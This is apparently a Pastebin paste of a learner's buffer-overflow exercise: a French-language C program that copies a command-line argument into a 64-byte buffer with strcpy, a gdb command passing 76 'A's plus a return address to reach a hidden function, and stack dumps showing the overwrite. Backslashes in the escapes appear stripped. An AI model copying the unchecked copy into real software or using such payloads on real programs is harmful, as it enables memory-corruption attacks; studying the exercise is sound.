Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <string.h>
- void checkPassword();
- void goodPassword();
- int main(int argc, char **argv)
- {
- printf("Debut du programme...n");
- if (argc < 2)
- {
- printf("Necessite un argumentn");
- return 0;
- }
- printf("Appel de la fonction checkPasswordn");
- checkPassword(argv[1]);
- printf("Fin du programmen");
- }
- void checkPassword(const char *arg)
- {
- char password[64];
- strcpy(password, arg);
- if (strcmp(password, "fromage") == 0)
- {
- goodPassword();
- }
- else
- {
- printf("Mauvais mot de passen");
- }
- }
- void goodPassword() // This is the function I want to run, address : 0x565562b2
- {
- printf("Mot de passe correcte!n");
- }
- starti $(python2 -c 'print "A"*76 + "xb2x62x55x56".strip() ')
- starti $(python3 -c 'print(b"A"*76 + b"xb2x62x55x56".strip() ')
- gdb-peda$ x/24xw $esp
- 0xffffcc40: 0xffffcc50 0xffffcfa6 0xf7e2bca9 0x56556261
- 0xffffcc50: 0x41412762 0x41414141 0x41414141 0x41414141
- 0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcc90: 0x41414141 0x41414141 0x41414141 0x785c4141
- gdb-peda$ x/24xw $esp
- 0xffffcc50: 0xffffcc60 0xffffcfac 0xf7e2bca9 0x56556261
- 0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcc90: 0x41414141 0x41414141 0x41414141 0x41414141
- 0xffffcca0: 0x41414141 0x41414141 0x41414141 0x565562b2
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement